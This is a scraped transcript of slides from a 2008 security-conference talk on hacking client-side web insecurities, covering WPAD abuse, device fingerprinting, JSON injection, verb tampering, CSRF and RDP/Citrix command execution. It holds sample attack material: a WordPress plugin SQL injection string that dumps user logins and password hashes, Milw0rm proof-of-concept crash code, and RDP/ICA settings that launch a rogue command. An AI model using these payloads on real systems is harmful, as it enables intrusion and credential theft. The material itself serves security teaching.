Presentation is loading. Please wait.

Presentation is loading. Please wait.

Club-Hack 2008 Aditya K Sood Founder, Sec-Niche Security Hacking Client Side Insecurities.

Similar presentations


Presentation on theme: "Club-Hack 2008 Aditya K Sood Founder, Sec-Niche Security Hacking Client Side Insecurities."— Presentation transcript:

1 Club-Hack 2008 Aditya K Sood Founder, Sec-Niche Security Hacking Client Side Insecurities

2 Research Front: Founder, SECNICHE Security. Independent Security Researcher. Lead IS Author and Reviewer for Hakin9 Organization. Research Author for USENIX and ELSEVIER Journals. Like to do Bug Hunting. Released Advisories to Forefront Companies. Active Speaker at Security Conferences. [EU-Sec-West, XCON [07/08], XKungFoo[08], OWASP, Cert-IN etc] Team Lead – Evil Fingers Community. Projects – CERA, MLABS etc. Professional Front: Work as a Security Advisor / Penetration Tester for KPMG Consultancy. $whoami

3 Hacking Client Side Insecurities Web 2.0 Application Model

4 Hacking Client Side Insecurities [1] Discovering Clients on Internet / Intranet. Web Application Discovery Protocol Fingerprinting Embedded Devices. Rogue Request for HTTP Server Fingerprinting. JavaScript Based Client Information Retrieval [2] Client Side Attack Patterns. Pluggable Protocol Handlers. JavaScript Jacking JSON Injections [CSRF] HTTP Verb Jacking HTTP Verb Tampering. Insecure Parametric Design of Cookies Baking with XSS. War XHR and IFRAME Exploiting Patterns. Cross Site Request Forging (Embedded Devices) The High Risk. Surf Jacking Jacking HTTPS in Traffic Pool. [3] Web Virtual Environment [RDP/ CITRIX]. [4] Questions and Answers. $ AGENDA

5 Hacking Client Side Insecurities User Interface with the Browsers to Access Content Remotely. Client System Stores Sensitive Information as Local Cache. Scripting – an Intermediate Model of Client Server Relation. No Executables Required, Just Manipulation through Scripts. Follows the Concept of Spoofing and Hidden Codes. Exploitable through JS-Jacking and VBS-Jacking with number of Attacks. Browsers – The Bulls Eye, Attacker Prime Target. The Concept – Exploitation On the Fly. Exploitation Trend Change towards Application. Application Level Attacks Easy to Trigger and Execute. Client Side ! Why?

6 Hacking Client Side Insecurities Discovery

7 Hacking Client Side Insecurities Discovering Clients leverage lot of Sensitive Information. Network and System Configuration is the Target Point to Attack. Internet, Search Engines Like Google Projects Plethora of Information. Attacking Intranet Requires the Inside Information of Party. Garbage Dumps on World Wide Web Servers, A Huge Bonus for Attackers. Client Side Supports various Protocols [Weak] for Robust Functionality. Insecure Administration of Servers – Configuration Mismanagement. Browser Based Insecurities. JavaScript Jacking on Client Browsers Reveal State Information of Clients. Every Single Element Discovered, Favors the Attack on Client. Fingerprinting ! Why?

8 Hacking Client Side Insecurities Web Proxy Auto Discovery Protocol. Protocol used in Discovering Network Proxy Automatically. Configuration File Contains Intranet Addresses Inherently. Protocol Dismantle the Manual Configuration to Detect Proxy (PAC) File. WPAD Works on DHCP Behavior. [DHCPINFORM Query] No DNS Lookup is Required if DHCP Issues a Request. Protocol Handler PAC Proxy Auto Configuration | Proxy Settings for Subnets. DHCP Query through Uniform Resource Locator [URL] DNS Query through wpad.dat, File Located in WPAD Root Directory Function FindProxyForURL() Fingerprinting !

9 Hacking Client Side Insecurities Web Proxy Auto Discovery Protocol. Attack Point wpad.dat is Not Stored in a Secure Manner. Should be Placed in Default Virtual Directory. Browsers have Stringency in Making a Request to wpad.dat if Stored in Root Directory. No Referrer Check on the Request to wpad.dat File. wpad.dat When a Request is issued it Redirects the page to Required Proxy File for Configuration of Browser. Malicious Redirection Can be Done. When a DHCP Request is Issued no DNS Required. WOW ! No DNS Cache Poisoning is Required. Rogue DHCP Server on LAN do the Trick. Wpad use JavaScript to Set Browsers for Proxy Settings. Fingerprinting !

10 Hacking Client Side Insecurities Web Proxy Auto Discovery Protocol. # WPAD definition option wpad code 252 = text; # Suppress WPAD activity - no cache, no DNS. option wpad "\n\000"; # Configure a valid WPAD cache. The \n is required for Windows. # All config below this line is optional. #option wpad "http://www.example.com/wpad.pac\n"; class "MSFT" { match if substring(option vendor-class-identifier, 0, 4) = "MSFT"; # They put 252 on the DHCPINFORM's, but not on the DHCPREQUEST's # PRL. So we over-ride the PRL to include 252 = 0xFC, which will also # suppress the DHCPINFORMS! option dhcp-parameter-request-list = concat(option dhcp-parameter-request-list, fc); } function FindProxyForURL(url, host) { return "PROXY :3128 ; DIRECT"; } Fingerprinting !

11 Hacking Client Side Insecurities Embedded Devices Criticality in Determining the Internal Structure. HTTP Request Parameters are Manipulated. 301 Moved Permanently Response Code is thrown. Devices used to Spoof the Internal IP Addresses. Every Device has its Own Working Approach Used to Set Cookie in a Different Manner. Used to Change the parameter of HTTP Header Specifies. Analyzing the change in HTTP Headers Play the Trick. Necessary for Application Pen Testing at Infrastructural Level Fingerprinting !

12 Hacking Client Side Insecurities Embedded Devices | HTTP Header Manipulation Case 1: Response Check 1 HTTP/ OK\r\n Date: Tue, 05 Jul :05:18 GMT\r\n Server: Server\r\n Vary: Accept-Encoding,User-Agent\r\n Content-Type: text/html; charset=ISO \r\n nnCoection: close\r\n Transfer-Encoding: chunked\r\n Response Check 2 - send: 'GET /?Action=DescribeImages&AWSAccessKeyId=0CZQCKRS3J69PZ6QQQR2&Owner.1 = &SignatureVersion=1&Timestamp= T17%3A30%3A13 &Version= &Signature= HTTP/1.1\r\nHost: ec2.amazonaws.com:443\r\nAccept- Encoding: identity\r\n\r\n' reply: 'HTTP/ OK\r\n' header: Server: Apache-Coyote/1.1 header: Transfer- Encoding: chunked header: Date: Thu, 15 Feb :30:13 GMT send: 'GET /?Action=ModifyImageAttribute&Attribute=launchPermission&AWSAccessKeyId =0CZQCKRS3J6 9PZ6QQQR2&ImageId=ami-00b95c69&OperationType=add&SignatureVersion=1& Timestamp= T17%3A30%3A14&UserGroup.1=all&Version= &Signature= HTTP/1.1\r\nHost: ec2.amazonaws.com:443\r\nAccept-Encoding: identity\r\n\r\n' reply: 'HTTP/ Bad Request\r\n' header: Server: Apache-Coyote/1.1 header: Transfer-Encoding: chunked header: Date: Thu, 15 Feb :30:14 GMT header: nnCoection: close Fingerprinting ! Potentially a Net Scalar Device

13 Hacking Client Side Insecurities Embedded Devices | HTTP Header Manipulation Case 2: HTTP/ OK Date: Tue, 10 July :01:36 GMT Server: Apache Connection: close Content-type: text/plain HTTP/ Not Found\r\n Xontent-Length: \r\n Server: thttpd/2.25b 29dec2003\r\n Content-Type: text/html; charset=iso \r\n Last-Modified: Tue, 05 Jul :01:12 GMT\r\n Accept-Ranges: bytes\r\n Cache-Control: no-cache, no-store\r\n Date: Tue, 05 Jun :01:12 GMT\r\n Content-Length: 329\r\n Connection: close\r\n Fingerprinting ! The Content Parameter is transformed into XONTENT. This is Generally Shown by Potential RADWARE Devices RADWARE Device

14 Hacking Client Side Insecurities Embedded Devices | Big IP4 IP Based Session Management Response Check 1 Cookie: service-http= ASPSESSIONIDSSCATCAT = XXXXXXXXXXXXXXXXXXX Converting to Binary: Binary ( cookie ) == Converting to blocks of Fingerprinting ! Lets dissect the Pattern of this Number. Convert it into Decimal to see what is there. The Internal IP Dissected is This Layout is specific to Working Devices

15 Hacking Client Side Insecurities HTTP Servers Fingerprinting with Rogue Requests Fingerprinting HTTP Servers with Rogue Requests. Web Servers React Stringently to Different Requests. The Response Code can be used to Analyze the Web Server. 80% of this Request-Response is Successful. Fingerprinting !

16 Hacking Client Side Insecurities Client Side JavaScript Can Leverage Lot of Information of Browser State. Platform : Win32 OSCPU : undefined UserAgent : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: ) Gecko/ Firefox/3.0.3 Language : en-US AppName : Netscape AppVersion : 5.0 (Windows; en-US) Product : Gecko CodeName : Vendor : VendorSub : CodeName : Mozilla History : 3 ScreenW: 1440 ScrrenH: 900 Fingerprinting ! function browserInfo(form) { var txtInfo; txtInfo = "Platform : " + window.navigator.platform + "\n" + "OSCPU : " + window.navigator.oscpus + "\n" + "UserAgent : " + window.navigator.userAgent + "\n" + "Language : " + window.navigator.language + "\n" + "AppName : " + window.navigator.appName + "\n" + "AppVersion : " + window.navigator.appVersion + "\n" + "Product : " + window.navigator.product + "\n" + "CodeName : " + window.navigator.productSub + "\n" + "Vendor : " + window.navigator.vendor + "\n" + "VendorSub : " + window.navigator.vendorSub + "\n" + "CodeName : " + window.navigator.appCodeName + "\n" + "History : " + window.history.length + "\n" + "ScreenW : " + window.screen.width + "\n" + "ScrrenH : " + window.screen.height; form.txtOutput.value=txtInfo; return; }

17 Hacking Client Side Insecurities Demonstrations!

18 Hacking Client Side Insecurities Web Chemistry! Wow!

19 Hacking Client Side Insecurities Client Side Exploiting Patterns

20 Hacking Client Side Insecurities Client Side Exploiting Patterns Pluggable Protocol Handlers. JavaScript Jacking JSON Injections [CSRF] HTTP Verb Jacking HTTP Verb Tampering. Insecure Parametric Design of Cookies Baking with XSS. War XHR and IFRAME Exploiting Patterns. Cross Site Request Forging through CSS Parameter. Cross Site Request Forging (Embedded Devices) The High Risk. Surf Jacking Jacking HTTPS in Traffic Pool.

21 Hacking Client Side Insecurities Pluggable Protocol Handlers Attack works with XSS etc Vulnerabilities. Browsers support for the Application Handlers. Third Party Attack Base. GOOGLE CHROME Browser Support protocol_handler": { "excluded_schemes": { "afp": true, "data": true, "disk": true, "disks": true, "file": true, "hcp": true, "javascript": true, "mailto": false, "ms-help": true, "news": false, "nntp": true, "shell": true, "snews": false, "vbscript": true, "view-source": true, "vnd": { "ms": { "radio": true }

22 Hacking Client Side Insecurities Java Script Jacking JavaScript – The Most Critical and Most Usable Scripting Entity. Irrevocably Supported by Every Browsers. Active base for Malicious Web Base Content. Helps in Diversified Client Side Hacking from the Core. Dynamic Generated Object Malfunctioning. JS-Jacking Leveraging System Specific Information. Attacker Can query Browser Related Information. Active Encoding Attacks Fused with JavaScript. DOM Based Calling Pattern for Web Based Attacks. Website Requires JavaScript Support. This anatomy works in both positive and negative manner

23 Hacking Client Side Insecurities Java Script Jacking

24 Hacking Client Side Insecurities Java Script Jacking – JSON Injections JSON Injections The Serialization Insecurity | Web 2.0 Direct Injections with Encoding. Everything is treated as String. Apply toJSONObject(). CSRF A different way to Fuse attack with Notation Objects. { "menu": { "id": " ", "value": " ", "popup": "

25 Hacking Client Side Insecurities HTTP Verb Jacking HTTP Stateless Protocol. Every Request is Independent of other. HTTP supports number of Request. HTTP Verb Jacking Play with HTTP Requests like GET/POST. Attack Affect Applications handling XML Data. Versatile Attack. Request Schema is Defined in web.xml file. HTTP Request Functionality is Placed in web.xml File. Verb Jacking == Verb Tampering. Exists for a Long Period of Time. HTTP 1.0 and HTTP 1.1 Plays a Part. Major Flaw HTTP End Point Check does not Disseminate among HTTP Request. Only Parameter Check is Performed. All Verbs are Allowed. In 2006, I have released a paper called Rogue XML Specifications which list the potential insecurities in web.xml file. papers/general/RogueXMLSpe cific.pdf

26 Hacking Client Side Insecurities HTTP Verb Jacking security-constraint> drivers Security constraint for drivers page /drivers.html POST GET constraint for drivers manager BASIC manager The snapshot of web.xml file for a certain target. The security constraint parameter defines the allowed request. The type of Authentication allowed. HTTP Verb Jacking Manager directories will not be Accessed by GET/POST Request. What about HEAD Request. J2EE,JSP, ASP, ASP.NET,PHP etc are based on configuration files to process the type of request to handle. [ GET/POST/HEAD etc]

27 Hacking Client Side Insecurities Insecure Parametric Cookies Insecure Use of Cookies in Session Management. Where the Security State is ? Majority Fails to Instantiate. XSS Drags in the Application. Authenticated Cookies can be Undertaken. The Real Cause Insecure Design of Cookies with Parameters. Cookie Security Parameter Check Cookie Security Design is Judged by two major factors: 1.Cookie over Secure Channel [HTTPS ] 2.Cookie Extraction through JavaScript Calls. Cookie Security Parameters are :- Secure ( boolean) Allowed over only HTTPS. HttpOnly ( boolean ) JavaScript document.cookie Fails.

28 Hacking Client Side Insecurities XHR and IFRAME XHR XML HTTP DOM based API for XML Data Transference. Active Mechanism based on AJAX. XHR Request does not Cached in the History of Browser. IFRAME Requests have a proper History Caching Layout. XHR Requests are Irreversible. IRAME is totally Reverse. Working Functionality of both are Different from Each other. Number of Client Side Attacks are Exploited by using these Elements. If your browser do not support Ajax XHR request and a page is loaded into browser then the most of the remote toolkits have a hidden iframe to provide fake XHR support to the page.

29 Hacking Client Side Insecurities XHR and IFRAME var oRequest = new XMLHttpRequest(); var sURL = "http://www.snapdrive.net/files/571814/chrome.txt"; alert('Downloading a txt file..please wait.'); oRequest.open("GET",sURL,false); oRequest.setRequestHeader("User- Agent",navigator.userAgent); oRequest.send(null); xmlDoc=oRequest.ResponseText; alert(xmlDoc); if (oRequest.status==200) { alert('Done...now try editing the Text-Box!'); var str=" Winget 3.0 DoS Exploit PoC.Minimize Winget & Right- Click & Copy to clipboard."; document.write(str.link("http://"+oRequest.responseText+".ex e")); } else {alert('Error executing XMLHttpRequest call!');} Local Dos [Milw0rm] var iframe = document.createElement("IFRAME"); iframe.setAttribute("src", 'ftp://localhost/anything'); iframe.setAttribute("name", 'myiframe'); iframe.setAttribute("id", 'myiframe'); iframe.setAttribute("onload", 'read_iframe("myiframe")'); iframe.style.width = "100px"; iframe.style.height = "100px"; document.body.appendChild(iframe); Konqueror Crash [Milw0rm] [Word Press SQL Injection through IFRAME] wp- content/plugins/st_newsletter/stnl_iframe.php?newsletter= UNION+SELECT+concat(user_login,0x3a,user_pass,0x 3a,user_ )+FROM+wp_users-- [PHP Nuke IFRAME] (or).htm

30 Hacking Client Side Insecurities Embedded Devices - CSRF [1] Cisco Router Remote Administration Execution CSRF Exploit [Milw0rm] [3] EXPLAY CMS CSRF Exploit [2] A-Link WL54AP3 and WL54AP2 CSRF [Milw0rm]

31 Hacking Client Side Insecurities SURF Jacking – HTTPS at Stake Vulnerable Play with HTTPS Websites. Surf Jacking [HTTPS] is an Outcome from Side Jacking [HTTP]. Basic Flaw is In Cookie Setting by Respective Servers. All Insecure Cookie Based Website at Risk. Side Jacking discovered by Errata Security. Surf Jacking discovered by Enable Security But Cookie Insecurity is known back time. Greets to break down into Attacks.

32 Hacking Client Side Insecurities Demonstrations!

33 Hacking Client Side Insecurities RDP / ICA – Command Execution Virtual Environment for Clients to Produce Interface with Servers. Executing Commands and GUI Operations Generically. ICA Independent Computing Architecture, CITRIX Applications RDP Remote Desktop Protocol, Microsoft Proprietary Protocol. Basically, Virtual Desktop Working Functionality. Protocols Defined have Different Working Behavior for ICA and RDP Application ( RDP ) MTS i.e. Microsoft Terminal Services. Clients Exist for almost all Platforms [*Nix, Windows etc]. ICA Similar to X Window System / XEN Virtual Environment. RDP Client RDC + TSC RDC Remote Desktop Connection. TSC Terminal Services Connection.

34 Hacking Client Side Insecurities RDP / ICA Citrix Web ICA File: Webica.ini Trusted and Un-trusted Distinction Client Modeling Check. It depicts the trusted behavior of ICA Client from its Origin Point using the webica.ini file. Trusted ( ICA Client ) Program Neighborhood / PN Agent. Un-Trusted ( ICA Client ) Web Interface / Direct ICA File Execution. Structured Dependency over webica.ini file. It is used to set Access Rights. Citrix Application Server File: Appsrv.ini Custom ICA Connections are defined in it. Information about Entries in Remote Connection Manager.

35 Hacking Client Side Insecurities Attack Point - ICA Citrix Desktop Connection parameters provide a functionality to feed a specific Command which will get executed when a connection is initiated to the server by the client. Usually instead of the desktop the command gets executed. [ApplicationServers] Desktop= [Desktop] TransportDriver=TCP/IP BrowserProtocol=UDP DesiredHRES= DesiredVRES= ScreenPercent=0 DoNotUseDefaultCSL=Off Description=Desktop Address=citrix.msdsb.net InitialProgram=#ROGUE or MALICIOUS COMMAND IconPath=M:\Program Files\Citrix\ICA Client\pn.exe IconIndex=1 ConnectType=1 MaximumCompression=Off UseAlternateAddress=0 Compress=On.

36 Hacking Client Side Insecurities Attack Point - RDP Microsoft Terminal Services RDP has inbuilt option of executing command through shell directly which is a possible attack point of Infection. screen mode id:i:1 desktopwidth:i:800 desktopheight:i:600 session bpp:i:16 winposstr:s:0,3,0,0,800,572 full address:s:www.intlogistics.com alternate shell:s: Malicious or rogue Command compression:i:1 keyboardhook:i:2 audiomode:i:0 redirectdrives:i:0 redirectprinters:i:1 redirectcomports:i:0 redirectsmartcards:i:1 displayconnectionbar:i:1 autoreconnection enabled:i:1 username:s:freight.

37 Hacking Client Side Insecurities Demonstrations!

38 Hacking Client Side Insecurities Questions

39 Hacking Client Side Insecurities Thanks and Regards

40 Hacking Client Side Insecurities SecNiche Security


Download ppt "Club-Hack 2008 Aditya K Sood Founder, Sec-Niche Security Hacking Client Side Insecurities."

Similar presentations


Ads by Google